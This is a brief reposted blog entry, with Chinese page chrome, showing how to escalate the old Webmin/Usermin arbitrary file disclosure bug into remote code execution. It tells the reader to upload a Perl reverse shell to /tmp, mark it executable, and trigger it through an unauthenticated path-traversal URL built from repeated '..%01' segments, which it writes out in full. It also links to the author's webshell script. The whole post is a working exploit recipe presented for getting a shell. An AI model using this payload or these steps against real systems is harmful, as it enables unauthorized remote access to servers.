Webmin LFD to LFI

最新推荐文章于 2024-09-30 17:15:48 发布

weixin_30361641

最新推荐文章于 2024-09-30 17:15:48 发布

阅读量140

点赞数

文章标签： shell

原文链接：http://www.cnblogs.com/xiaoxiaoleo/p/8452767.html

版权

Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure (Perl)

https://www.exploit-db.com/exploits/2017/

Actually it's not just a local file disclosure vulnerability, It's a LFI-like vulnerability. We can get a shell if we can upload a file.

Upload a Perl reverse shell to /tmp/Reverse.cgi, and add execute privilege:

https://github.com/xiaoxiaoleo/xiao-webshell/blob/master/perl/Reverse.pl

Then access in web broswer:

http://<target>/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/tmp/Reverse.cgi

Get the reverse shell.

转载于:https://www.cnblogs.com/xiaoxiaoleo/p/8452767.html